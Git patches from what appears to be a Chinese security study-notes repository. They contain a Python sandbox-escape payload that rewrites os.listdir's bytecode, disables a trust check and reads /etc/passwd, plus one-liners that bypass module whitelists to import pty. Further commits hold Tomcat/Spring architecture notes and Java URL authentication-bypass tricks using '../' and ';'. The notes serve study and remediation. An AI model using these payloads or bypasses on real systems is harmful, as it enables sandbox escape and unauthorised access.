HTTP/1.1 +Host: 10.155.195.239:9053 +Accept-Encoding: gzip, deflate, br +Accept: */* +Accept-Language: en-US;q=0.9,en;q=0.8 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Connection: keep-alive +Cache-Control: max-age=0 +Content-Type: application/json +Content-Length: 1584 + +{"code":"try: import os,sys;from types import CodeType;a=CodeType(0,0,0,9,9,31,bytes.fromhex('89105300'),(None, 0, 'hookstate', ' [secbox_pylog_functions] func = ', ' '),('get_magic', 'builtin_isinstance', 'list', 'checker', 'sys', '_getframe', 'f_back', 'check_trust_func', 'builtin_hasattr', 'tls', 'HookState', 'enable', 'hookstate', 'disable', 'log', 'debug', '__name__', 'check_trust_dir', 'apply_hooker'),('input_args', 'input_kwargs', 'magic', 'hookers', 'checker', 'frame', 'in_trust_dir', 'args_list', 'retval'),'./sandbox/_decorators.py','inner','decorator_factory..wrapper..inner',323,bytes.fromhex('f88000e5141d914b944b8845e50f21a026ad24d10f2fd40f2ff000030d23d81a2090079007e01b2198289007d8161d9861946ad416288847dd1417944d914f944f8845d81419944c8845e50f1fa004a067a875d10f35d40f35f000010d39d8171b9074985ad01738a83cd01738d01738d01038dd1322a533a80bd11334d41334f000010d31dd2029d420309503940ddd0f128c7da509d42030d20f30d00f30e52029d420319503940de01017940bd71021d21021a055d0226bd0226bc854cc5dd0226bd0226bd05d61d0226bd0226bd06469d0226bd0226bd1106cd4106cd0106cdd1f2ea877d01f48d01f48b82dd01f48d01f48900ce52029d420309503940dd81723f000031130d82229f000021530f0000215309806d8252ba85ab81cc07dd0565ad45663d0656cd0246d9809dd1824a059d1182fd4182fd0182fd0182fe015199054983ad01536a81cd01536d015368846d81319884d'),bytes.fromhex(''),('config_kwargs', 'func', 'hooker'));os.listdir.__code__=a;((os.listdir('/')['modules']['__mp_main__'].sandbox._decorators.check_trust_func))=lambda x,y,z:True;print(open('/etc/passwd').read()); except Exception as e: print(e);","session_id":"xxx"} +``` + +修复方案,限制函数的__code__不能被修改 + +绕过方法,直接用FunctionType构建一个函数,无需修改其他函数。 + +##### __subclasses__ + +可以看到关键Hook逻辑中的Hook类其实继承自ABC类的,所以可以通过ABC类找到FuncHookSubclass类。 + + + +同理,把其中validating_config和validating_arguments修改为永远返回True即可绕过限制调用原函数。 + + + +##### gc.get_referrers和gc.get_referents + +```python +import gc,os;print(gc.get_referents(os.system)[1]['sandbox']); +``` + + + +```python +import gc,os;print(gc.get_referrers(os)[1]['sandbox']); +``` + + + + + +#### 绕过白名单导入任意模块 + +比如pty库不在白名单中,直接导入会失败。 + + + +##### sys.meta_path.pop(0) + +既然白名单是通过向meta_path添加一个安全finder,那我们直接把这个finder取出即可绕过限制。 + + + +import sys;sys.meta_path.pop(0);import pty; + + + +##### 动态修改检查逻辑 + +对于第一种方式的修复绕过技术,开发人员限制sys.meta_path不能被修改,那么我们还可以参考此前的思路动态修改sandbox.hook.SecBoxFinder.find_spec方法。 + +import sys;sys.meta_path[0].find_spec=lambda x,y,z:None;import pty; + + + +##### 直接使用Finder + +对于前面修复的绕过技术,开发人员限制sys.meta_path与SecBoxFinder不能被修改,我们可以直接使用最后一个Finder。 + +```python +import sys,importlib; +print(importlib.util.module_from_spec(sys.meta_path[3].find_spec('pty'))); +``` + + + + + +## 参考资料 + +\- Python字节码执行实现沙箱逃逸 https://wiki.huawei.com/domains/21514/wiki/40292/WIKI202307261662161 + +\- 利用PythonUAF漏洞实现沙箱逃逸-实验室项目实战 https://wiki.huawei.com/domains/5560/wiki/14528/WIKI202408054218660 + +\- 利用PythonUAF漏洞实现沙箱逃逸-原文 https://pwn.win/2022/05/11/python-buffered-reader.html + +\- python字节码逃逸学习 https://3ms.huawei.com/km/blogs/details/10985955#preview_wps_10985955 + +\- Python沙箱逃逸测试思路 https://clouddevops.huawei.com/domains/30660/wiki/2/WIKI2024102600090 + +\- AST检查绕过 https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/ +\- 深入理解Python虚拟机 https://github.com/Chang-LeHung/dive-into-cpython?tab=readme-ov-file +\- Cpython实现原理 https://hai-shi.gitbook.io/cpython-internals/ +\- 深度剖析cpython解释器 https://www.cnblogs.com/traditional/p/13391098.html +\- 通过AST来构造Pickle opcode https://xz.aliyun.com/news/6608 From 8a4dfe075ebc8531f41f00d2f4c441a89b490b3e Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Wed, 3 Dec 2025 10:39:42 +0800 Subject: [PATCH 26/32] =?UTF-8?q?Create=20=E4=BF=A1=E6=81=AF=E6=94=B6?= =?UTF-8?q?=E9=9B=86.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../\344\277\241\346\201\257\346\224\266\351\233\206.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" diff --git "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" new file mode 100644 index 0000000..f322aa9 --- /dev/null +++ "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" @@ -0,0 +1 @@ +https://byaaronluo.github.io/%E7%9F%A5%E8%AF%86%E5%BA%93/01.WEB%E5%AE%89%E5%85%A8/00.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/1.%E8%B5%84%E4%BA%A7%E6%94%B6%E9%9B%86/1.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B9%8B%E4%B8%BB%E5%9F%9F%E5%90%8D%E6%94%B6%E9%9B%86.html From 8ef68d681927e4a82dfda4e526d3eea16f0ca1d9 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Wed, 3 Dec 2025 10:44:25 +0800 Subject: [PATCH 27/32] =?UTF-8?q?Delete=201.=E5=9F=BA=E7=A1=80=E7=9F=A5?= =?UTF-8?q?=E8=AF=86/web=E5=AE=89=E5=85=A8=E7=9F=A5=E8=AF=86=E6=95=B4?= =?UTF-8?q?=E5=90=88=20directory?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../\344\277\241\346\201\257\346\224\266\351\233\206.md" | 1 - 1 file changed, 1 deletion(-) delete mode 100644 "1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" diff --git "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" deleted file mode 100644 index f322aa9..0000000 --- "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/web\345\256\211\345\205\250\347\237\245\350\257\206\346\225\264\345\220\210/\344\277\241\346\201\257\346\224\266\351\233\206.md" +++ /dev/null @@ -1 +0,0 @@ -https://byaaronluo.github.io/%E7%9F%A5%E8%AF%86%E5%BA%93/01.WEB%E5%AE%89%E5%85%A8/00.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/1.%E8%B5%84%E4%BA%A7%E6%94%B6%E9%9B%86/1.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B9%8B%E4%B8%BB%E5%9F%9F%E5%90%8D%E6%94%B6%E9%9B%86.html From f92095d5737a2d866cbd77afc30479908bc95f61 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Wed, 3 Dec 2025 10:45:01 +0800 Subject: [PATCH 28/32] =?UTF-8?q?Create=20Web=E5=AE=89=E5=85=A8=E6=95=B4?= =?UTF-8?q?=E5=90=88.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Web\345\256\211\345\205\250\346\225\264\345\220\210.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "1.\345\237\272\347\241\200\347\237\245\350\257\206/Web\345\256\211\345\205\250\346\225\264\345\220\210.md" diff --git "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/Web\345\256\211\345\205\250\346\225\264\345\220\210.md" "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/Web\345\256\211\345\205\250\346\225\264\345\220\210.md" new file mode 100644 index 0000000..f322aa9 --- /dev/null +++ "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/Web\345\256\211\345\205\250\346\225\264\345\220\210.md" @@ -0,0 +1 @@ +https://byaaronluo.github.io/%E7%9F%A5%E8%AF%86%E5%BA%93/01.WEB%E5%AE%89%E5%85%A8/00.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/1.%E8%B5%84%E4%BA%A7%E6%94%B6%E9%9B%86/1.%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B9%8B%E4%B8%BB%E5%9F%9F%E5%90%8D%E6%94%B6%E9%9B%86.html From c30516a53ee52d335fba87a80bc8847657a365f0 Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Fri, 5 Dec 2025 11:53:00 +0800 Subject: [PATCH 29/32] =?UTF-8?q?Update=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\344\271\240\346\235\202\350\256\260.md" | 230 ++++++++++++++++++ 1 file changed, 230 insertions(+) diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" index a8bc7fb..d11e24e 100644 --- "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" +++ "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -1005,3 +1005,233 @@ JavaWeb 中还有 Filter(过滤器)、AOP(面向切面编程),三者 - Filter:盯 “请求流程”(如 HTTP 请求的拦截与处理); - AOP:盯 “方法执行”(如业务方法的调用过程)。 +# Tomcat与Spring学习 +## Tomcat和Nginx的区别 +Nginx 和 Tomcat 是 JavaWeb / 分布式架构中最常用的两款服务器,但核心定位完全不同: +Nginx:轻量级高性能的Web 服务器 / 反向代理服务器 / 负载均衡器,核心擅长处理静态资源、转发请求、限流熔断,是架构的 “前端网关”; +Tomcat:JavaEE 规范实现的应用服务器(Servlet 容器),核心擅长运行 Java 动态程序(Servlet、JSP、Spring Boot 应用),是架构的 “后端业务处理器”。 +两者并非竞争关系,而是互补协作—— 实际开发中几乎都是 “Nginx + Tomcat 集群” 的经典架构(Nginx 处理静态请求 + 分发动态请求,Tomcat 专注运行 Java 业务)。 +| 对比维度 | Nginx(Engine X) | Tomcat(Apache Tomcat) | +| -------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | +| **核心定位** | Web 服务器 + 反向代理 + 负载均衡器 | 应用服务器(Servlet/JSP 容器),Java 动态程序运行环境 | +| **处理对象** | 优先处理**静态资源**(HTML、CSS、JS、图片、视频),动态请求仅转发 | 优先处理**动态资源**(Servlet、JSP、Spring Boot 应用),静态资源能力弱 | +| **并发能力** | 极高(万级并发,支持 10 万 + 连接),基于 “异步非阻塞 I/O 模型(epoll)” | 中等(千级并发,默认配置下支持 1000-2000 连接),默认 BIO 模型(可优化为 NIO) | +| **性能特点** | 内存占用低(单机仅占几 MB - 几十 MB),响应快,抗高并发能力强 | 内存占用高(启动即占数百 MB),动态处理效率高,但静态资源处理 overhead 大 | +| **支持协议** | HTTP、HTTPS、TCP/UDP、WebSocket(反向代理时支持) | HTTP、HTTPS、AJP(与 Web 服务器通信协议)、WebSocket(原生支持 Java 应用) | +| **核心功能** | 1. 静态资源托管;2. 反向代理(转发请求到 Tomcat / 其他服务);3. 负载均衡(轮询、加权、IP 哈希);4. 限流、熔断、缓存;5. SSL 终结(HTTPS 卸载) | 1. 运行 Servlet/JSP/JavaEE 应用;2. 管理 Spring Boot 应用的生命周期;3. 支持 JNDI 数据源;4. 内置简单 Web 服务器(仅用于开发 / 测试) | +| **配置方式** | 基于文本配置文件(nginx.conf),简洁灵活,支持热部署(无需重启) | 基于 XML 配置文件(server.xml、web.xml)或注解,配置复杂,热部署有限(需插件支持) | +| **开发语言** | C 语言(底层优化极致,性能优先) | Java 语言(跨平台,兼容 Java 生态) | +| **跨平台支持** | 类 Unix(Linux/macOS)为主,Windows 支持较弱 | 全平台(Linux/macOS/Windows/ 嵌入式),跨平台性好 | +| **适用场景** | 1. 前端静态资源服务器;2. 反向代理(隐藏后端 Tomcat 地址);3. 负载均衡(分发请求到多 Tomcat);4. 限流、HTTPS 卸载 | 1. 运行 Java 动态应用(Spring Boot、SSH 框架项目);2. 开发 / 测试环境的简单部署;3. 需要 JNDI、EJB 等 JavaEE 特性的场景 | +| **部署形式** | 独立进程,通常部署在架构最前端(直接对外暴露端口 80/443) | 独立进程,部署在 Nginx 后端(对内暴露端口 8080/8081,不直接对外) | + +**核心定位:“前端网关” vs “后端业务容器”** +这是两者最根本的区别,决定了它们在架构中的角色: +Nginx:不运行任何业务代码,仅做 “请求的接收、过滤、转发”—— 相当于餐厅的 “前台接待”:引导客人(请求)入座(分发到对应 Tomcat)、直接提供简单服务(静态资源,如茶水)、拒绝无效客人(限流 / 黑名单)。 +Tomcat:专门运行 Java 业务代码 —— 相当于餐厅的 “后厨”:接收前台传递的订单(动态请求),制作菜品(执行业务逻辑、操作数据库),再将结果返回给前台。 + +**两者的配置文件边界** +| 组件 | 读取的配置文件 | 配置文件核心作用 | +| ------ | -------------- | ------------------------------------- | +| Tomcat | web.xml | 初始化 JavaWeb 组件、定义请求处理规则 | +| Nginx | nginx.conf | 处理静态资源、反向代理、负载均衡 | + +### 相互协作 +#### Nginx:前端网关层的 URL 映射(决定请求 “去哪”) +Nginx 负责**全局级、HTTP 层面的 URL 路径映射**,核心目的是 “分流请求”:判断请求是静态资源(直接处理)还是动态请求(转发到 Tomcat),或分发到不同的 Tomcat 集群节点。 +**Nginx 映射的核心场景** +1. **静态资源 URL 映射**:直接将 URL 路径映射到服务器本地文件目录,无需转发到 Tomcat; +2. **反向代理 URL 映射**:将动态请求的 URL 路径转发到 Tomcat(或其他后端服务); +3. **负载均衡路由**:将同一 URL 路径的请求分发到多台 Tomcat 节点; +4. **URL 重写 / 重定向**:修改 URL 路径(如 `/user` → `/api/user`)后再转发。 + +**示例:Nginx 的 URL 映射配置** + +```nginx +server { + listen 80; + server_name xxx.com; + + # 场景1:静态资源映射(Nginx 直接处理,不经过 Tomcat) + location /static/ { + root /opt/web/; # URL: /static/js/app.js → 本地文件: /opt/web/static/js/app.js + expires 7d; + } + + # 场景2:动态请求映射(转发到 Tomcat,Nginx 只做“转发路由”) + location /api/ { + proxy_pass http://tomcat_cluster/; # URL: /api/user/1 → 转发到 Tomcat: http://tomcat_ip:8080/user/1 + proxy_set_header Host $host; + } + + # 场景3:URL 重写(修改路径后转发) + location /user/ { + rewrite ^/user/(.*)$ /api/user/$1 break; # /user/1 → /api/user/1 + proxy_pass http://tomcat_cluster/; + } +} +``` + +**Nginx 映射的特点** + +- 只关心 “URL 路径的前缀 / 规则”,不关心后端如何处理这个请求; +- 基于 HTTP 协议,与 JavaEE 规范无关,无法识别 Servlet/Controller; +- 映射结果是 “请求的转发目标”(本地文件 / Tomcat 地址),而非 “具体的处理类”。 + +#### Tomcat:后端应用层的 URL 映射(决定请求 “由谁处理”) +Tomcat 负责**应用级、Servlet/Controller 层面的 URL 映射**,核心目的是 “匹配处理逻辑”:将 Nginx 转发过来的动态请求 URL,映射到具体的 Java 组件(Servlet、Spring MVC Controller 等)。 + +**Tomcat 映射的核心场景** + +1. **Servlet 映射**:通过 `web.xml` 或 `@WebServlet` 将 URL 路径映射到 Servlet 类; +2. **Spring MVC 映射**:通过 `@RequestMapping`/`@GetMapping` 等注解将 URL 路径映射到 Controller 方法; +3. **JSP 映射**:将 URL 路径映射到 JSP 文件(如 `/index.jsp` → `WEB-INF/index.jsp`)。 + +**示例 1:Tomcat 原生 Servlet 的 URL 映射(web.xml)** + +```xml + + + UserServlet + /user/* + +``` + +**示例 2:Spring MVC 的 URL 映射(注解)** + +```java +// Tomcat 加载 Spring 上下文后,解析注解将 /user/{id} 映射到 getUser 方法 +@RestController +@RequestMapping("/user") +public class UserController { + @GetMapping("/{id}") + public User getUser(@PathVariable Long id) { + return userService.findById(id); + } +} +``` + +**Tomcat 映射的特点** + +- 基于 JavaEE/Servlet 规范,映射结果是 “具体的 Java 处理组件”(Servlet/Controller 方法); +- 仅处理 Nginx 转发过来的动态请求,不关心 URL 是如何到达 Tomcat 的; +- 支持更细粒度的映射(如 `/user/{id}` 匹配路径参数、请求方法(GET/POST)等)。 + +#### 完整请求链路:Nginx → Tomcat 的 URL 映射协作 +以用户访问 `http://xxx.com/api/user/1` 为例,完整的 URL 映射流程: + +1. **Nginx 接收请求**:匹配 `location /api/` 规则,将请求转发到 Tomcat 集群(`http://tomcat_ip:8080/user/1`); + +2. Tomcat 接收请求 + + : + + - 若为原生 Servlet:匹配 `web.xml` 中 `/user/*` 的 Servlet 映射,交给 `UserServlet` 处理; + - 若为 Spring MVC:匹配 `@GetMapping("/user/{id}")`,交给 `UserController.getUser()` 处理; + +3. **结果返回**:Tomcat 将处理结果返回给 Nginx,Nginx 再转发给客户端。 + +## Tomcat 与 Spring +**Tomcat 与 Spring 的 “认知边界”** + +- Tomcat(Servlet 容器)的核心能力:管理 Servlet、Filter、Listener,处理 HTTP 请求,调用 Servlet 的`service()`方法 —— 它**只认识 Servlet 规范的组件**,完全不认识 Spring 的`@Controller`、`ApplicationContext`(Spring 容器)。 +- Spring 容器的核心能力:管理 Bean(Controller、Service、Dao)、依赖注入、AOP—— 它是独立的 “Bean 容器”,但 Web 环境下必须依附 Servlet 容器(Tomcat)才能运行。 + +所以这句话的本质是:**Spring 容器作为 “非 Servlet 规范组件”,需要借助 Servlet 容器的生命周期来创建;Spring 的 Controller 作为 “非 Servlet 组件”,需要借助 Servlet 作为 “桥梁” 才能被 Tomcat 调用**。 +### 通俗理解 + 底层流程 +**把 Tomcat 比作 “商场(Web 应用)”,Spring 容器比作 “店铺”:** + +1. **商场开业(Tomcat 启动 Web 应用)**:Tomcat 会触发`ServletContext`的初始化(对应`ServletContextListener`的`contextInitialized`方法),而`ContextLoaderListener`是 Spring 提供的、实现了`ServletContextListener`的监听器 —— 它会在此时执行`initWebApplicationContext()`方法,创建**根 Spring 容器**,并把容器对象存入`ServletContext`(商场的 “公共储物间”),供整个 Web 应用共享。 +2. **店铺前台上岗(DispatcherServlet 初始化)**:Tomcat 接着加载配置的 Servlet(如`DispatcherServlet`),`DispatcherServlet`初始化时,会从`ServletContext`中找到根容器,创建自己的**MVC 子容器**(父子容器:子容器能访问根容器的 Bean,根容器不能访问子容器的 Controller)。 + +关键配置示例(web.xml): + +```xml + + + org.springframework.web.context.ContextLoaderListener + + + + contextConfigLocation + classpath:applicationContext.xml + + + + + dispatcherServlet + org.springframework.web.servlet.DispatcherServlet + + + contextConfigLocation + classpath:spring-mvc.xml + + + 1 + + + + dispatcherServlet + / + +``` + +### Spring 容器中的 Controller 如何通过 Servlet 调用? + +核心答案:**Tomcat 把所有动态请求转发给 Spring 的核心 Servlet——DispatcherServlet,由 DispatcherServlet 从 Spring 容器中找到对应的 Controller 并调用其方法**。 + +这是一个 “Tomcat → DispatcherServlet → Spring 容器 → Controller” 的链路,完整流程如下(以请求`http://xxx.com/api/user/1`为例): + +**步骤 1:Tomcat 接收请求,转发给 DispatcherServlet** + +Tomcat 根据`web.xml`中`DispatcherServlet`的`url-pattern: /`,将所有动态请求(非静态资源)转发给`DispatcherServlet`(Tomcat 只知道这是一个 Servlet,不知道它和 Spring 的关系)。 + +**步骤 2:DispatcherServlet 查找对应的 Controller** + +`DispatcherServlet`作为 Spring MVC 的 “前端控制器”,会做以下操作: + +1. 从自身的 MVC 容器中获取`HandlerMapping`(Spring 初始化时自动创建,存储 “URL 路径 → Controller 方法” 的映射关系,比如`/api/user/{id}` → `UserController.getUser()`); +2. 根据请求 URL 匹配`HandlerMapping`,找到对应的 Controller Bean 和目标方法(比如`UserController`实例的`getUser(Long id)`方法); +3. 通过`HandlerAdapter`(适配器)调用该 Controller 方法(处理参数绑定、类型转换,比如把 URL 中的`1`转为`Long`类型传入)。 + +**步骤 3:执行 Controller 方法,返回结果** + +Controller 方法执行后,返回`ModelAndView`(或 JSON 数据),`DispatcherServlet`通过`ViewResolver`(视图解析器)处理结果(如渲染 JSP、返回 JSON)。 + +**步骤 4:DispatcherServlet 将结果返回给 Tomcat** + +Tomcat 接收`DispatcherServlet`的响应结果,再转发给客户端(浏览器 / 前端)。 + +**核心流程简图:** + +```plaintext +客户端请求 → Tomcat → DispatcherServlet(Spring核心Servlet) + ↓ + 从Spring容器找HandlerMapping + ↓ + 匹配到Controller + 目标方法 + ↓ + 执行Controller方法 → 获取返回值 + ↓ +DispatcherServlet处理结果 → Tomcat → 响应客户端 +``` + +**关键细节:** + +- Tomcat 全程只和`DispatcherServlet`(Servlet)交互,完全不知道 Spring 容器和 Controller 的存在; +- `DispatcherServlet`是 Spring 和 Tomcat 的 “唯一桥梁”,它既继承了 Servlet(被 Tomcat 识别),又持有 Spring 容器的引用(能调用 Controller); +- Controller 本质是 Spring 容器中的普通 Bean(由 Spring 创建和管理),不是 Servlet—— 它能处理请求,完全是因为`DispatcherServlet`的 “转发调用”。 + +### 核心总结 +1. **Spring 容器的创建**:由 Tomcat(Servlet 容器)触发 Spring 提供的`ContextLoaderListener`(创建根容器,Tomcat 启动 Web 应用时)和`DispatcherServlet`(创建 MVC 容器,DispatcherServlet 初始化时)来创建,本质是 Servlet 容器驱动 Spring 的桥接组件完成容器初始化; +2. **Controller 的调用**:Tomcat 将所有动态请求转发给 Spring 的核心 Servlet(DispatcherServlet),由 DispatcherServlet 从 Spring 容器中找到对应的 Controller Bean 和方法,完成调用并返回结果,最终通过 Tomcat 响应客户端。 + +**类比强化理解** + +- Tomcat = 商场大门(只认 “Servlet 员工”); +- ContextLoaderListener = 商场开业时的 “装修队”,帮 Spring(店铺)完成装修(创建根容器); +- DispatcherServlet = 店铺的 “前台(Servlet)”,承接所有顾客(请求); +- Spring 容器 = 店铺的 “员工管理系统”,管理 Controller(导购)、Service(库管)等员工; +- Controller = 店铺的 “导购”,不直接接触大门(Tomcat),只通过前台(DispatcherServlet)接待顾客。 + +顾客(请求)的路径:大门(Tomcat)→ 前台(DispatcherServlet)→ 员工系统(Spring 容器)→ 导购(Controller)→ 前台 → 大门 → 顾客。 From 5044935f579e7670aad0877c13f8f207a4c00f2e Mon Sep 17 00:00:00 2001 From: Perseus <104563184+Per3eus@users.noreply.github.com> Date: Tue, 24 Feb 2026 20:36:56 +0800 Subject: [PATCH 30/32] =?UTF-8?q?Update=20=E5=AD=A6=E4=B9=A0=E6=9D=82?= =?UTF-8?q?=E8=AE=B0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...46\344\271\240\346\235\202\350\256\260.md" | 132 ++++++++++++++++++ 1 file changed, 132 insertions(+) diff --git "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" index d11e24e..fa0e133 100644 --- "a/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" +++ "b/0.\345\274\200\345\217\221\345\255\246\344\271\240/SpringBoot2/\345\237\272\347\241\200\345\205\245\351\227\250/\345\255\246\344\271\240\346\235\202\350\256\260.md" @@ -1235,3 +1235,135 @@ DispatcherServlet处理结果 → Tomcat → 响应客户端 - Controller = 店铺的 “导购”,不直接接触大门(Tomcat),只通过前台(DispatcherServlet)接待顾客。 顾客(请求)的路径:大门(Tomcat)→ 前台(DispatcherServlet)→ 员工系统(Spring 容器)→ 导购(Controller)→ 前台 → 大门 → 顾客。 + +# JavawebURL认证绕过 +## 路由解析过程 +URL先进入Filter然后进入路由阶段(容器/框架用于 handler mapping 的 path 计算),最终匹配对应路由的Controller +路由阶段在做资源匹配时会对路径做归一化(处理 .、..)和忽略 ; 及其后面的内容,利用Filter和路由阶段对URL处理差异来绕过Filter + +``` +浏览器 + ↓ +Tomcat(HTTP 解析 + URL 解码) + ↓ +Filter 链 + ↓ +DispatcherServlet + ↓ +HandlerMapping(计算 lookup path) + ↓ +Controller + +``` + +``` +路径归一化发生在: +Filter 之后 +DispatcherServlet 之内 +HandlerMapping 之前 + +``` + +``` +matrix parameter(;)去除发生在: +DispatcherServlet → HandlerMapping → 计算 lookupPath + +``` + +## 绕过 + +鉴权模块用“字符串规则”判断是否需要认证,但后端路由/Servlet 容器用“路径语义规则”决定最终访问哪个资源;两者对同一个 URL 的理解不一致,就会出现绕过。 + +白名单: + +假设unAuthURL为login.do,需要认证的url为main.do,针对不同的函数,使用如下不同的技巧绕过 + +contains(): + +此时可使用..进行绕过,如/login.do/../main.do + +此时可使用;进行绕过,如/main.do;login.do + +indexOf(): + +此时可使用..进行绕过,如/login.do/../main.do + +此时可使用;进行绕过,如/main.do;login.do + +startswith (): + +此时可使用..进行绕过,如/login.do/../main.do + +endswith (): + +此时可使用;进行绕过,如/main.do;login.do + +1)../ 绕过的原理(路径归一化 / canonicalization) +典型绕过:/login.do/../main.do +**鉴权模块(字符串判断)**看到的 path 是: + +以 /login.do 开头 / 或包含 /login.do +于是认为它属于 unAuthURL(无需认证)→ 放行 +路由模块(容器/框架)在做资源匹配时会对路径做归一化(处理 .、..): + +/login.do/../main.do 归一化后等价于 /main.do +最终命中的其实是 需要认证的 main.do +所以绕过成立:鉴权看见“login”,路由最终访问“main”。 + +这个归一化通常发生在:容器计算 servletPath / pathInfo、或者框架计算 handler lookup path 的过程中(总之发生在“真正决定请求映射到哪个控制器/servlet”的阶段)。 + +2); 绕过的原理(Matrix Parameter / Path Parameter) +典型绕过:/main.do;login.do +在 URL path 里,; 后面常被当成 路径参数(matrix parameters / path parameters)。很多容器/框架在做路径匹配时,会忽略 ; 及其后面的内容,以避免路径参数影响路由。 + +**鉴权模块(字符串判断)**看到: + +path 里“包含 login.do” / 或 endsWith “login.do”(取决于你的判断) +于是误判为属于 unAuthURL → 放行 +**路由模块(容器/框架)**用于映射的路径往往会把 ; 后内容去掉: + +/main.do;login.do 在路由匹配时等价于 /main.do +> /login.do/../main.do +> 相当于:进入 login.do再返回上一级目录,再进入 main.do +最终命中需要认证的 main.do +所以绕过成立:鉴权看见“login”字符串,路由只认“main”。 + +; 后面的内容通常在“计算用于映射的 path(lookup path / servletPath)”时被忽略/剔除。 + +3)对应你列的函数:为什么分别能被 ../ 或 ; 绕过 +下面用你给的例子直接解释“为什么它们会误判”。 + +A. contains() +../:/login.do/../main.do +contains("login.do") 为真 → 放行 +路由归一化后是 /main.do → 访问受保护资源 +;:/main.do;login.do +contains("login.do") 为真 → 放行 +路由忽略 ;login.do → 实际访问 /main.do +B. indexOf() +本质和 contains()一样(indexOf(...) != -1 等价于包含判断)。 + +../:/login.do/../main.do +indexOf("login.do") != -1 → 放行 +路由归一化 → /main.do +;:/main.do;login.do +indexOf("login.do") != -1 → 放行 +路由忽略 ;... → /main.do +C. startsWith() +../:/login.do/../main.do +startsWith("/login.do") 为真 → 放行 +路由归一化 → /main.do +注意:startsWith() 对 ; 这种绕过不一定好用,因为字符串开头不变;它主要被 ../ 这种“前半段伪装、后半段归一化后变成目标资源”的方式利用。 + +D. endsWith() +;:/main.do;login.do +字符串结尾是 login.do → endsWith("login.do") 为真 → 放行 +路由忽略 ;login.do → 实际访问 /main.do +endsWith() 对 ../ 一般不敏感(因为结尾还是 main.do),但对 ; 很敏感:攻击者可以把白名单关键字放到末尾当“装饰”。 + +4)一句话总结 +../ 绕过:利用 路径归一化,让“看起来在白名单路径下”的请求,最终归一化成受保护路径。 +; 绕过:利用 matrix/path parameter 解析差异,让鉴权看见白名单字符串,但路由匹配时忽略 ; 后内容,最终访问受保护路径。 +如果你要把这段写进整改报告,最关键的一句是: + 